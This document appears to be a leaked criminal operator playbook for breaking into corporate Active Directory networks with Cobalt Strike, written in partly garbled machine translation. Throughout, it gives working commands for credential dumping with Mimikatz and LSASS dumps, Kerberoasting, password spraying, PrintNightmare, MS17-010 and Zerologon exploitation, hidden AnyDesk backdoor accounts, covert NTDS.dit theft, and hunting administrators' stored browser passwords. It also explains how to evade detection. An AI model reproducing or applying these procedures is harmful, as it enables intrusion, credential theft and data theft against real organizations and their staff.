Cobalt strike MANUALS_V2 Active Directory

I Tier . Increasing privileges and collecting information

1 . Initial exploration

the domain

```
1.1 . Search for company income
Finding the company's website
On Google : SITE + revenue (mycorporation.com + revenue) ( "mycorporation.com" "revenue" )
check more than 1 site, if possible
(owler, manta, zoominfo, dnb, rocketrich)
1.2 . Defined by AB
1.3 . shell whoami < ===== who am I
1.4 . shell whoami / groups -> my rights on the bot (if the bot came with a blue monik)
1.5 . 1 . shell nltest / dclist: <==== domain controllers
net dclist < ===== domain controllers</pre>
1.5 . 2 . net domain controllers < ===== this command will show the ip addresses of domain
controllers
1.6 . shell net localgroup administrators <===== local administrators
1.7 . shell net group / domain "Domain Admins" <==== domain administrators
1.8 . shell net group "Enterprise Admins" / domain <==== enterprise administrators
1.9 . the shell net group "the Domain Computers has" / domain <===== total number - in the PC in
```

1.10 . **net computers** < ===== ping all hosts with the output of ip addresses.

Then we act depending on the information received, for example, if there are 3 wheelbarrows, then it is better to first perform a Kerberoast attack, because the bot will fall off in 2 hours, while the balls are being removed, etc.

2. Removing the ball

We remove the balls in two cases:

1. When looking for where you can throw the payload. In this case, we only need balls with write permissions (admin balls without a ball with read permissions). To obtain them, we perform:

powershell-import /home/user/work/ShareFinder.ps1

psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out-File -Encoding ascii C: \ProgramData \ sh.txt

2. When looking for the Old which will be pumped to the second stage. In this case, we need the balls with read permissions. We put on the domain administrator's token from which we will start uploading data (different admins may have access to different balls) and remove the balls with the following command:

powershell-import /home/user/work/ShareFinder.ps1

psinject 5209 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C: \ProgramData \ shda.txt

Next, we study the removed balls, we are interested in

- * Finance docks
- * Accounting
- * Aichi
- * Clients
- * Projects

And so on, it all depends on what our target is doing.

Then we pump out what we took away, more on that in the second section.

3 . Kerberoast attack

The goal is to get the admin hash for the next brute

```
Method 1 :
powershell-import /home/user/work/Invoke-Kerberoast.ps1
psinject 4728 x64 Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath c : \
ProgramData \ pshashes.txt - append -force -Encoding UTF8
Method 2:
execute -assembly / home / user / work / Rubeus. exe kerberoast / ldapfilter: 'admincount = 1' /
forma t: hashcat /outfile:C:\ProgramData\hashes.txt
execute -assembly / home / user / work / Rubeus. exe asreproast / forma t: hashcat
/outfile:C:\ProgramData\asrephashes.txt
As a result, we get files in the directory C: \ ProgramData \, which may contain a hash, download
and, if successful, send hashes to brute through team leads.
4 . Mimikatz
mimikatz
version
Retrieve clear text passwords from memory
privilege :: debug - check for proper permissions
log nameoflog. log - run the logging function
sekurls a: : logonpasswords - the output of all stored on this computer passwords unencrypted
log
privilege :: debug
sekurls a :: logonpasswords
token :: elevate
lsadump :: sam
exit
lsadump :: dcsync / user: Administrator - pass YES learn on pdc
sekurls a: : pth / user: / domain: / ntlm: / the run: cmd - PASS DE Hush ( juzat instead of a
password - it NTLM) ( the same thing that runas / user: user cmd # PASSWORD #)
Mimikatz in Cobalt Strike
getsystem
```

```
hashdump
logonpasswords
beacon> make token domen \ user password - put on a token from the user
beacon> pth domen \ user NTLM - put on a token from the user
beacon> rev2self - return the original view of the session
beacon> dcsync domain. com ( where domain. com - you insert the network domain) - take all the
hashes from the domain (you need a YES token)
If you find login and hash:
the Domain pth \ by Admin Tuesday, pass (in the form of a hash)
shell dir \\ ip or hostname \ c $
EliAdmin: 1001 : aad 3b435b51404eeaad3b435b51404ee: b0059c57f5249ede3db768e388ee0b14 :::
pth ELC \ EliAdmin b0059c57f5249ede3db768e388ee0b14
If you find your username and password
make token Domain \ Admin Pass
rev2self - withdraw token
Reading lsass
Downloading the latest release of mimikatz from github
Open cmd as administrator
C: \ work \ mimikatz \ win32 > mimiKatz
privilege :: debug
sekurls a: : the minidump lsass.dmp - work with the dump file
log - duplicate output to the log
We look at the file mimikatz
We save:
1 . Logins and passwords in pure form
2 . If there is no password, save NTLM and SHA1 (Later, you can decrypt or use the Pass The Hash
attack)
On Windows 2003 dump lsass. exe via taskmgr is not possible.
```

```
We open the "Task Manager", go into the processes, select lsass. exe , right-click on it and click
Dump Process .
The process dump must lie in
C: \ user \ %% user %% \ AppDara \ Local \ Temp \ lsass.DMP
We download the dump in any way
Using procdump. exe and procdump64. exe
Uploading procdump. exe or procdump64. exe
Run procdump. exe or procdump64. exe
procdump. exe -acceptula - ma lsass. exe C: \ compaq \ lsass.dmp
procdump64. exe -acceptula - ma lsass. exe C: \ compaq \ lsass.dmp
Download lsass.dmp and remove lsass.dmp and procdump
Zerologon
mimikatz lsadump :: zerologon / targe t: [controller.domain.local] / accoun t: [controller] $ /
exploit
mimikatz lsadump :: zerologon / targe t: DC01 .contoso. com / accoun t: DC01 $ / exploit
Procdump: in mimikatz
lsadump :: mimidump LSAdump.dmp
log
sekurls a :: logonpasswords
exit
LSASS:
method via cob a: ( *** special thanks to @Sven)
! *
1 ) getsystem
2 ) shell rundll32. exe C: \ windows \ System32 \ comsvcs.dll, MiniDump PID C: \ ProgramData \
                 ( we specify the pid from lsas )
lsass.dmp full
(remove on a remote wheelbarrow) coba wmic:
shell wmic / node: [ target] process call create "cmd / c rundll32.exe C: \ windows \ System32 \
comsvcs.dll, MiniDump PID
C: \ ProgramData \ lsass.dmp full "
remote-exec psexec [target] cmd / c rundl132. exe
```

C: \ windows \ System32 \ comsvcs.dll, MiniDump PID

C: \ ProgramData \ lsass.dmp full

method via RDP:

open taskmgr => PKM po lsass process => create Dump file . \\ Gave it, download the file to your computer.

5 . Checking for saved passwords in domain Group Policy files

execute -assembly / home / user / work / Net-GPPPassword. exe

6 . SMB Autobrut

The input data for carrying out this attack are only passwords.

- those that dumped from the CharpChrome browser
- those who sdampilis SeatBeltom
- those that dumped in the process of work within the network (mimikatts, etc.) And in general any others, for example, found recorded in files

If these passwords less than we can run in a brute force attack - supplement safely them from the following list of the most private occurring in the corporate environment.

Password1

Hello123

password

Welcome1

banco @ 1

training

Password123

job12345

spring

food1234

It is also recommended to use a list of passwords based on the times of the year and the current year. Given that passwords are changed once in three months - you can take a "reserve" for the generation of the sheet.

For example, in August 2020, we create a list with the following content

June2020

July2020

August20

August2020

Summer20

Summer2020

June2020!

Julv2020!

August20!

August2020!

Summer20!

Summer2020!

All passwords above fall either into 3 out of 4 requirements for Active Directory passwords (which is enough for users to set them), or into all 4 requirements.

Approx. we consider the most popular version of the requirements.

Scenario with domain administrators

1. We collect the list of domain administrators with the command shell net group "domain admins" / dom

We write the received data to the admins.txt file

- 2 . Fill the file on the host in the folder C: \ ProgramData
- ${f 3}$. Requesting information on the domain account blocking policy (protection against brute force)

beacon> shell net accounts / dom

Tasked beacon to run: net accounts / dom

host called home, sent: 48 bytes

received output:

The request will be processed at a domain controller for domain shookconstruction.com.

Force user logoff how long after time expires ?: Never

Minimum password age (days): 1
Maximum password age (days): 42

Minimum password length: 6

Length of password history maintained: 24

Lockout threshold: Never

Lockout duration (minutes): 30

Lockout observation window (minutes): 30

Computer role: BACKUP

We are interested in the option **Lockout threshold** which most likely contains a specific numeric value is in the future , we need to use as a parameter (in this case, stands **for Never** - it means that protection from brute force password disabled.

In this Haidee in the future , we shall indicate the value of 5 as the estimated most likely occurring.

The Minimum password length parameter indicates the minimum allowed number of password characters required to filter our "list" of passwords that we will set.

- 4 . In the source code of the script, specify the domain in which the script will run :
- \$ context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext ("Domain",
 "shookconstruction.com")
- 5 . Importing and running the script
 powershell-import /home/user/work/scripts/Invoke-SMBAutoBrute.ps1

psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Hello 123, Welcome 1, password, banco @ 1, training, Password123, spring, food1234, job12345, 1qazXDR% +"

The list of passwords is of one who at us was "found" and two from a list of popular passwords

6 . We look at the progress of the script and see the result

Success! Username: Administrator. Password: 1qazXDR% +
Success! Username: CiscoDirSvcs. Password: 1qazXDR% +

We got two domain administrators out of the way.

The scenario without specifying a list of users differs in only two ways.

psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR% +"
-LockoutThreshold 5

We do not specify the **UserList** and **ShowVerbose parameters** . The absence of the first means is that the bust will be carried out by ALL users of the domain, the absence of second points to the fact that the displays will only SUCCESSFUL results.

Success! Username: Administrator. Password: 1qazXDR% + Success! Username: CiscoDirSvcs. Password: 1qazXDR% +

Success! Username: support. Password: 1qazXDR% +

Success! Username: accountingdept. Password: 1qazXDR% +

As you can see, we were able to find accounts of other users that may be useful for further promotion on the network and raising rights.

If a positive result is not to be, you can repeat after a while (optimally multiply on two option Lockout duration before the next attempt) with a new list of passwords.

The end of the work of the script will be observed output in Beacon Posts

7. PrintNightmare

The vulnerability is fresh, but already sensational. We use it until we shut it down) CVE -2021-34527 Allows you to create a local administrator, useful if an agent arrived with the rights of a simple user
On the agent:

powershell- import // import the file CVE-2021-34527.ps1

powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "FUCKER" -DriverName "Xeroxxx" //
create user HACKER with password FUCKER, add to localadmins

spawnas COMPNAME \ HACKER FUCKER https // instead of https the listener name The agent arrives from under our new local administrator There is also a chance to get the agent from under **SYSTEM ***, we do the following after import:

Invoke-Nightmare -DLL "\ polniy \ put \ do \ payload.dll"

https://github.com/calebstewart/CVE-2021-1675

8 . ms17 010

Windows XP and 2003 - do not have the ms17_010 patch
Windows 7 , 8 , 10 , 2008 , 2012 , 2016 - can be not patched and correspondingly vulnerable.

During the time the attack on them, to increase chances on a successful operation specify login and password user domain.

Removed AD, pinganulized ip addresses. ip addresses must be written in one line separated by spaces. 1 . Launching a proxy in Cobalt Strike: In the Cobalt Strike console, enter the command: socks 18585 18585 - port 2 . Scanning on the presence of vulnerabilities: Enter the following commands into the Metasploit console : use auxiliary / scanner / smb / smb ms17 010 set Proxies socks4: 172.98.192.214 : 18589 set threads 10 set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40 When the attack on Windows 7 , 8 , 10 , 2008 , 2012 , 2016 additionally specify: set smbuser login set smbdomain domain set smbpass password run auxiliary / scanner / smb / smb ms17 010 - auxiliary module Metasploit, performing the scanning target in the presence of vulnerability; the Proxies socks4 set: 172.98.192.214 : 18589 - indicate metasploitu use a proxy to access to the target network; 172.98.192.214 - ip of the Cobalt Strike server 18589 - port set threads 10 - use 10 threads set RHOSTS - all target ip addresses separated by a space run - run the module Result: [*] Scanned 10 of 44 host [+] 10.0.0.200 : 445 -Host is VULNERABLE to... <= = vulnerable host

We save the ip addresses of vulnerable hosts.

```
3 . Using the vulnerability to obtain session meterpreter
use exploit / windows / smb / ms17 010 psexec
set Proxies socks4: 172.98.192.214 : 18589
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40
set payload windows / meterpreter / bind tcp
set verbose 1
run
If the session did not open, change the format of the payload file:
set target 1
run
set target 2
run
set target 3
run
Change the useful load and again in turn try to open a session of various formats of files of
useful load.
set payload windows / meterpreter / bind tcp rc4
We also try all file formats
If it doesn't work again : The next method rarely works . Try prokinut session in the Cobalt
Strike :
set payload windows / meterpreter / reverse https
set lport 443
set lhost 172.98.192.214 ( ip Cobalt Strike)
And again, try all formats of files
use exploit / windows / the smb / ms17 010 psexec - module (exploit) the Metasploit , delivering
useful load on the purpose and the opening session
set payload The windows / Meterpreter / bind tcp - indicate how useful load use.
target 1 is a ps1 (on windows xp and windows 2003 PowerSell not work, use on a new version of
windows)
target 2 is exe
target 3 is mof
```

```
Result:
The session should appear . In Metasploit , you can check the team sessions .
After receipt of the session trying to get the login and password of the account records admin
domain:
We pass to the session. Sessions 1 command (1 - session number)
getuin - get the pid of the process on which the session is running . If there is a pid , then the
session is alive.
hashdump - save hashes
Remove passwords and hashes:
load mimikatz - load mimikatz to the target.
Wdigest - trying to get passwords entered by the user himself
kerberos - ?
livessp - ?
ssp - entered via RDP
tspkg - ?
background - minimize the session (then you can open it again from sessions 1 )
If the session to get so and does not happen, then we try to create an administrator and connect
through it for RDP.
4 . Exploiting a vulnerability to run a command (creating a user and adding him to the local
administrators group )
use auxiliary / admin / smb / ms17 010 command
set Proxies socks4: 172.98.192.214 : 18589
set RHOSTS 10.0.0.200 10.0.0.37 10.0.0.200 10.0.0.81
set command net user OldAdmin 1Q2w3E4r5T6y / add
set verbose 1
run
set command net localgroup Administrators OldAdmin / ADD
run
use auxiliary / admin / smb / ms17 010 command - Metasploit auxiliary module that runs the
specified command with administrator rights on the target and returns the result to the Metasploit
console :
set command ... - specify which command to execute;
net user OldAdmin 1Q2w3E4r5T6y / add - create a user;
```

net localgroup Administrators OldAdmin / ADD - add a user to the local administrators group
set verbose 1 - more detailed output. If something doesn't work, send it to someone more
experienced.

Result:

It must fulfill the specified command.

Understand that the team worked can be on the line of The command completed successfully

We connect via RDP.

Option 1 - run kriptovat payloada (can get a session)
Everything is simple here, in any way we drop the file and run it.

Option 2 - get a dump of the **lsass.exe** process and get the credits from it locally. How to do it is written in **mana Mimikatz**

9 . RouterScan

Software for Windows, allows you to brute-force routers, cameras, some NAS (depending on the type of authorization), if they have a web interface.

First trying to understand that for the device, and then apply the appropriate for his exploits (breaks mikrotik even if the firmware is below 6.12 for the second and gives the password in pure form)

If there are no exploits for this model , then it starts to brute. We load the dictionaries, if necessary, into 3 text files starting with **auth** _ ***. **Txt** , lying in the root of the program. In this form:

login password

login password

Only not through space indents, but through Tab

Podnikaem socks in Kobe, proksiruem through ProxyFier, run at himself on windsurfing, expose ranges or specific ip, number of streams (5 most something) and timeout (this value is better to increase up to 3000 ms, to do not skip). The default ports have already been specified, you can add your own if the web does not hang on the standard ones. The Scanning's the Module leave a tick on the first (Router scan main) and HNAP 1.0 , the rest of you are unlikely whether useful. We press start, wait and hope for the result

10. Zerologon

```
There are two ways.
1. Through the minicom, in the mana about the mimic
2. By connecting the script to the koba
Download the script here
https://github.com/rsmudge/ZeroLogon-BOF
We connect, as usual, the address of the script
Z eroLogon-BOF / dist / zerologon.cna
A new command should appear in the console - zerologon
Application:
net domain - get the domain name (for example domain.local )
We launch the exploit:
zerologon iunderstand domain.local
iunderstand is a stop word. By exploiting this vulnerability, we reset the password. This exploit
can cause the domain controller to malfunction. LASTLY USE.
If successful, we get:
Success! Use pth. \\% S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync
We do everything as written. we carry out
pth. \\% S 31d6cfe0d16ae931b73c59d7e0c089c0
And we carry out
dcsync domain.local
If everything worked out successfully, we get NTDS
11 . Anchored
Immediately after obtaining SYSTEM rights .
AnyDesk - on abandoned hosts
Atera - on the rest
```

11.1 . AnyDesk fix

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```
Function AnyDesk {
    mkdir "C: \ ProgramData \ AnyDesk"
    # Download AnyDesk
    $ clnt = new -object System.Net.WebClient
    $ url = "http://download.anydesk.com/AnyDesk.exe"
    $ file = "C: \ ProgramData \ AnyDesk.exe"
    $ clnt.DownloadFile ($ url, $ file )
    cmd. exe / c C: \ ProgramData \ AnyDesk. exe --install C: \ ProgramData \ AnyDesk --start-
with-win - silent
    cmd. exe / c echo J9kzQ2Y0q0 | C: \ ProgramData \ anydesk. exe - set -password
    net user oldadministrator "qc69t4B # Z0kE3" / add
    net localgroup Administrators oldadministrator / ADD
    reg add "HKEY LOCAL MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \
SpecialAccounts \ Userlist" / v oldadministrator / t REG DWORD / d 0 / f
    cmd. exe / c C: \ ProgramData \ AnyDesk. exe - get -id
  AnyDesk
Executing the code in Powershell ISE Run As Admin
At the output, we get ID
We keep it to ourselves
Download Anydesk on a separate Dedicated Server \ VPS \ Virtual Machine and specify the ID
Click Console Account
Enter your password
Quote
    J9kzQ2Y0q0
And then we log in as a local admin or domain account and use the charms of Anydesk
```

You can also download / upload to / from the victim's machine, which is convenient in scanning and searching for documentation pointwise.

11.2 . Fixing Atera

Website http s: //app.atera. com
Register
At the top, click Install agent
Download the agent and upload it to the bot
We start the agent:
shell AGENT INSTALLER.msi
Access should appear on the site in the Devices section
Removing the agent installer

13 . Final razv th order

13.1 . Search for trusts

shell nltest / domain trusts / all trusts

13.2 . We get NTDS

If you find the Admin Domain

make_token Domain \ Admin pass

shell dir \\ ip or hotname \ c \$ on PDK or DK, if we are allowed to pass:

dcsync domain. com (domain. com - network domain)

We get NTDS

Necessary privileges :

ReplicatingDirectoryChangesAll

ReplicatingDirectoryChanges

SPLESS DUMP NTDS

shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password: "cleartextpass" process call create "cmd / c vssadmin list shadows >> c: \ log.txt"

we make a request for listing shadow copies, there is an indication of the date, check that there

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is a fresh date almost certainly they are already there, if not, then we do it ourselves

net start Volume Shadow Copy

shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password: "cleartextpass" process call create "cmd / c vssadmin create shadow / for = C: 2> & 1"

further in the listing of shadow copies we find the freshest

Shadow Copy Volume: \ \? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55

accordingly, we need a copy number for the next command

shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password: "cleartextpass" process call create
"cmd / c copy \ \? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55 \ Windows \ NTDS \ NTDS.dit
c: \ temp \ log \ & copy \\? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55 \ Windows \
System32 \ config \ SYSTEM c: \ temp \ log \ & copy \\? \ GLOBALROOT \ Device \
HarddiskVolumeShadowCopy55 \ Windows \ System32 \ config \ SECURITY c : \ temp \ log \ "

files ntds.dit / security / system should fall into $c: \ temp \setminus log \setminus$ we take the portable console 7 s and pack it into an archive with a password Code: [Select]

7 za . exe a - tzip - mx 5 \\ DC 01 \ C \$ \ temp \ log . zip \\ DC 01 \ C \$ \ temp \ log - pTOPSECRETPASSWORD

We download the password-protected archive for ourselves, if we get an error when decrypting the NTDS file (the file is damaged), then we do the following

Esentutl / p C: \ log \ ntds.dit

the trick of this method is that in fact we don't dump anything, we just take and pump out ntds in order not to get burned by the fact that we are pulling out exactly ntds, we pack it into a password-protected archive

if you have troubles with something that is fired and thrown out of the network after an NTDS dump - try this method

it can only be burned by the very fact of some leaking date from the CD, and it is impossible to analyze what exactly you are dragging without knowing the password from the archive

13.3 . Search for backups (Backup) and NAS (NetScan)

A great tool is NetScan , which makes it easy to scout and find NAS \ Backup , etc.

Scans networks by range using the credentials of the user / administrator on whose behalf the software was launched.

It gives c leduyuschuyu information:

Hostname, Open Ports, Group / Domain Membership, Total Disk Space, Available Shares, Device Manufacturer, PC / Server Role

- 1) We load folder NetScan any infected PC. Let's say , the C: \ Programdata \ netscan
- 2) cd C: \ programdata \ netscan
- 3) make token DOMAIN \ admin password
- 4) shell netscan. exe / hide / auto: "result.xml" / confi g: netscan .xml / range : 192.168 . 0.1 192.168 . 1.255 or for range.txt = 10.1.200.0/24

Where 0 /24 network mask so take each IP after pingovki and Throwing a file range . txt

Or we will write the unlikely IP via ENTER to the file range . txt and use the command :

shell netscan.exe / hide /auto: "resuult.xml "/ config: netscan.xml /file:range.txt

We change the ranges to our own, do not touch the rest

- 5) We are waiting. After completion, the result.xml file will appear in our folder, we download it to our computer
- 6) We open NetScan on our Windows, load the downloaded file there and see the result in a convenient format.

Sort by disk size, so you will immediately understand where the juice is hidden //

13.4 . Huntim admins

And so, if in us there is a server \ NASy \ tapes or cloud storage which consist

backups, but access is not what we need credo that there is only from the administrator.

Correspondingly it we need to skhantit. Usually in those networks where we work admins 1-2-3 , no more.

People are divided into 3 types of positions:

Senior

Medium

Junior

Of course, we are interested seniors so how have these privileges \ accesses (read passwords) more.

For a start I will write a few options for how to determine the accounting records of those most administrators, who are on board the passwords.

Part 1 Option number 1:

Interrogating YES

beacon> shell net group "domain admins" / domain

Tasked beacon to run: net group "domain admins" / domain host called home, sent: 64 bytes received output:

La demande sera traitée sur contrôleur de domaine du domaine DOMAIN.com.

Nom de groupe Domain Admins

Commentaire Designated administrators of the domain

Membres

Administrator ClusterSvc createch Createch2 d01adm da9adm p01adm PMPUser q01adm

repl s01adm Sapserviced01

SAPServiceDA9 sapservicep01 SAPServiceQ01

sapservices01 SAPServiceSND SAPServiceSOL

services services2 sndadm

soladm somadm staseb

telnet Johnadm

La commande s'est terminée correctement.

We look and see with our eyes filtering service accounts and non- service ones.

```
Service from the list above is for example
SAPServiceDA9
services
telnet
servies2
Sapservice01
What uchetki us ASAP ALL fit:
staseb
Johnadm
They were recorded.
We can see who they are in adfind persons.txt
or through the command
shell net user staseb / domain
See example :
beacon> shell net user ebernardo / domain
    Tasked beacon to run: net user ebernardo / domain
    host called home, sent: 57 bytes
    received output:
User name ebernardo
Full Name Eric Bernardo
Comment
User's comment
Country / region code ( null)
Account active Yes
Account expires Never
The Password for last set 08.12.2020 12: 05: 15 PM
The Password the expires 6/6/2021 12: 05: 15 PM
The Password changeable 12.08.2020 12: 05: 15 PM
Password required Yes
User may change password Yes
```

The command completed successfully.

We look at who he is - he is in a dozen groups, SOMETIMES in the Comment column they write who he is - engineer \ system administrator \ support \ business consultant.

in **of Last the Logon** uchetki should be ACTIVE - it has fins logon today \ yesterday \ on this week, but did not a year ago or Never.

If not become clear who is so after the survey see adfind + verify linkedin (p and Cereal below)

So 2-3-5 uchetok as a result you get out of the domain of administrators and you question everyone and should have an idea of who he is . As a result of 1-2-3 accounting, it turns out to find who can be an administrator.

```
Option number 2:
    Turning into home analysts - watching Adfind.
We are interested in the adfind_groups file
We go in, we see a bunch of text
Press Ctrl + F ( Notepad2 / Geany)
Introduce
dn: CN =
```

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And the button Find All in current document .

are from 100 to 10,000 lines)

adfind_groups: 3752: dn: CN = SQLServer2005SQLBrowserUser \$ TRUCAMTLDC, CN = Users, DC = domain, DC = com

adfind_groups: 3775: dn: CN = clubsocial, CN = Users, DC = domain, DC = com

adfind_groups: 3800: dn: CN = Signature Intl- Special, OU = Groupes, OU = Infra, DC = domain, DC = com

adfind_groups: 3829: dn: CN = FIMSyncAdmins, CN = Users, DC = domain, DC = com

adfind_groups: 3852: dn: CN = GRP- GRAPHISTE, OU = FG-GRP, DC = domain, DC = com

at the output we get ABOUT the following (I cut out a piece and left 5 lines, usually there

And so, we have extracted the active directory groups .

What we are interested and for which we have it made - in active A directroy everything is structured and in the USA EU networks still does maksiimalno clear transparent with comments, notes, prescriptions and so on .

We are interested in a group that deals with IT, administration, LAN engineering .

Something that after a search , we issued – take out in the new notepad and do search on are following key words: \cdot

IT, Admin, engineer

In the example above, we find the following line adfind groups: 3877: dn: CN = IT, CN = Users, DC = domain, DC = com

Go to line 3877 in adfind Groups.txt and see the following:

```
dn: CN = IT, CN = Users, DC = domain, DC = com
> objectClass: top
> objectClass: group
> cn: IT
> description: Informatique
> member: CN = MS Surface, OU = IT, DC = domain, DC = com
> member: CN = Gyslain Petit, OU = IT, DC = domain, DC = com
> member: CN = ftp, CN = Users, DC = domain, DC = com
> member: CN = St-Amand \, Sebastien \, CDT, OU = IT, DC = domain, DC = com
```

Next, open ad users.txt

Users ftp and the MS the Surface miss, and that's Gyslain the Petit and St Amand Sebastien take in turnover.

Introduce Gyslain the Petit We find a user with the following information: dn: CN = Gyslain Petit, OU = IT, DC = trudeaucorp, DC = com > objectClass: top > objectClass: person > objectClass: organizationalPerson > objectClass: user > cn: Gyslain Petit > sn: Petit > title: Directeur, technologie de l'information > physicalDeliveryOfficeName: 217 > givenName: Gyslain > distinguishedName: CN = Gyslain Petit, OU = IT, DC = trudeaucorp, DC = com > instanceType: 4 > whenCreated: 20020323153742. 0Z > whenChanged: 20201212071143. 0Z > displayName: Gyslain Petit > uSNCreated: 29943 > memberOf: CN = GRP Public USA P, OU = Securite-GRP, DC = trudeaucorp, DC = com > memberOf: CN = GRP-LDAP- VPN, OU = FG-GRP, DC = trudeaucorp, DC = com > memberOf: CN = IT Support, CN = Users, DC = trudeaucorp, DC = com > memberOf: CN = Directeurs, CN = Users, DC = trudeaucorp, DC = com > memberOf: CN = GRP- IT, OU = FG-GRP, DC = trudeaucorp, DC = com > memberOf: CN = Signature Canada, OU = Groupes, OU = Infra, DC = trudeaucorp, DC = com > memberOf: CN = EDI, CN = Users, DC = trudeaucorp, DC = com > memberOf: CN = IT, CN = Users, DC = trudeaucorp, DC = com > memberOf: CN = TRUDEAU- MONTREAL, CN = Users, DC = trudeaucorp, DC = com > memberOf: CN = everyone, CN = Users, DC = trudeaucorp, DC = com > uSNChanged: 6908986 > department: IT Manager

Enjoying the title and who is among us here? Director of Information Technology. The bull's-eye, it looked like, but the director does not always have in themselves passwords, and that's the System by Administrator What else - completely.

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Therefore , we carry out similar manipulations for the second user and more . Do yourself (= in small meeting rooms) make notes who have one and write logins from adfaynda (sAMAccountName) approximately as follows:

> sAMAccountName : gpetit

gpetit - Director of IT
staseb - such and such

The second part of option # 2 (Simplified):

We look initially at ${\tt adfind_users.txt}$ We do a search by

title:

description departament

If you are lucky, then there will be a direct written post. In my test case, it looks like this:

adfind_persons: 280: > title: Responsable, logistique direct import
adfind_persons: 1836: > title: Chef des services techniques
adfind_persons: 1955: > title: Chef comptable
adfind_persons: 4544: > title: Directeur, technologie de l'information
adfind_persons: 6064: > title: Présidente
adfind_persons: 6191: > title: Chargée de projets, mise en marché
adfind_persons: 6285: > title: Directrice marketing
adfind_persons: 6848: > title: Coordonnatrice à la logistique
adfind_persons: 6948: > title: Responsable de l'expedition

Accordingly , we run our eyes and the accounts are found.

And so, these are easy methods. Consider alternative searches for admin accounts .

I know so far only 1 method of the simple ones - linkedin We drive a request into Google

NASHERTVA.COM linkedin

instead of a domain - insert the domain of the office.

Go to **Members**

We do a search there by

System

Admin

Engineer

Network

Ιt

If you have somebody that has dropped the name + surname, then trying to drive it in **adfaynd** and uchetki found.

And so, part number 1 is over. Getting to Hunt administrator and inspection

Part # 2:

Huntim admin as standard via SharpView

SharpView.exe can take in the conference at their team lead or a konfy software .

The command for a hunt is as follows:

On Linux

execute-assembly /home/user/soft/scripts/SharpView.exe Find-DomainUserLocation -UserIdentity gpetit

On Windows

execute-assembly C: \ Users \ Andrey \ Soft \ Hacking \ SharpView.exe Find-DomainUserLocation -UserIdentity gpetit

where **gpetit** - accounting record of anyone looking. what is written in **adfinusers** in **sAMAccountname** - we insert it here.

At the output, we get approximately the following log:

UserDomain
UserName
: domain
: qpetit

ComputerName : DC01.domain.LOCAL

IPAddress : 172.16.1.3 SessionFrom : 192.168.100.55

SessionFromName:
LocalAdmin :

UserDomain : domain UserName : gpetit

ComputerName : SQL01.domain.LOCAL

IPAddress : 172.16.1.30 SessionFrom : 192.168.100.55

SessionFromName:
LocalAdmin :

UserDomain : domain UserName : gpetit

ComputerName : lptp-gpetit.domain.LOCAL

IPAddress : 172.16.1.40 SessionFrom : 192.168.100.55

SessionFromName:
LocalAdmin :

And so, the log will be indicative of such a format, like us with these be - In the first place, as a working software - it polls where in Dunn moment though both the authorized s user. A user at us is not easy - it is the administrator and in which the time it can be authorized on 20-30-50 servers.

How can we filter and not get bogged down in this?

In the first , remove uninteresting to us OS

N For example the first in the list of DC01 - clearly DomenKontroller01, can it check on **adfind_computers.txt** or **portscan 172.16.1.13** and see that it is the server operating system. And we need a client room.

The second one is SQL01 - DB OS. We do not fit.

Let's look at the third one - lptp-gpetit . Hmm, our user name gpetit , and lptp - means the laptop , it has a laptop. Perhaps this is just him.

It also happens that the admin is connected ONLY to the server OS, but in the SessionFrom column - an ip from another sabnet (for example, a VPN sabnet) where he sits quietly but SharpView did not "take" him - you can also take it into circulation.

Next is an IMPORTANT POINT.

Beginners first thing they are trying to raise there the session and VERY OFTEN catch Alert. Alert

```
at the admin = cutting out of the network, loss of time, nerves. So do NOT!
What we're going to do is poll it through the file system .
We do the following:
shell net view \\ 172.16.1.40 / ALL
At the exit we see his local wilds
C $
D $
We shoe the token ( It is the token that is recommended , because pth leaves a slightly different
Event ID on the domain controller , and this can be noticed by the admin and cut us out)
Open File Manager in cobalt:
\\ 172.16.1.40 \ c $
L because we use the shell through
shell dir \\ 172.16.1.40 \ c $
We look at what is on the C drive fluently
Go to the folder
\\ 172.16.1.40 \ c \$ \ Users \ gpetit
Usually, if it's REALLY vorkstantsiya admin - at it a lot of junk ala Virtualbox / putty / winscp
and so on , and m .
Like us he "examine" here's a list of interesting directories:
Work table
\\ 172.16.1.40 \ c $ \ Users \ qpetit \ Desktop
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Desktop
\\ 172.16.1.40 \ c $ \ Users \ qpetit \ Documents
Here are folders with custom configurations , below is a list of what can be extracted:
```

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Roaming
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Google \ Chrome \ User Data \ Default
```

Here is the History && Login Data from chrome.

Historia you can directly download and explore with the help of **DBrowser for the SQLite (nix win's).** The useful - to see where the admin goes, for whom to vote, you can sortanut histori by title and find direct **the NAS / the Tape / the vSphere**, and so on. **VERY useful thing.**

Login Data - contains logins and passwords. Encrypted (!). If it weighs 38 -42kb then there is EMPTY. If you weigh more than 40-45 kb (from 100 kbps to 1-2 megabytes) - means there EXACTLY have passwords.

If you have the correct URL to Save password - Speak to your team lead.

It also happens in chrome that there are no passwords in the Login Date , but if you carefully examine the profile folder , you will find an **extenstions** folder and there is a **lastpass** . This is also in practice could happen in this case, go **on RDP night** and export passwords (or keylogger or other embodiments)

Similarly, you can look at the Firefox / Edge folder (I will add the paths , googling easily)

T akzhe in ICU administrators Frequently encountered in the AppData \ Roaming folder && the AppData \ the Local following folder:

Keepass LastPass

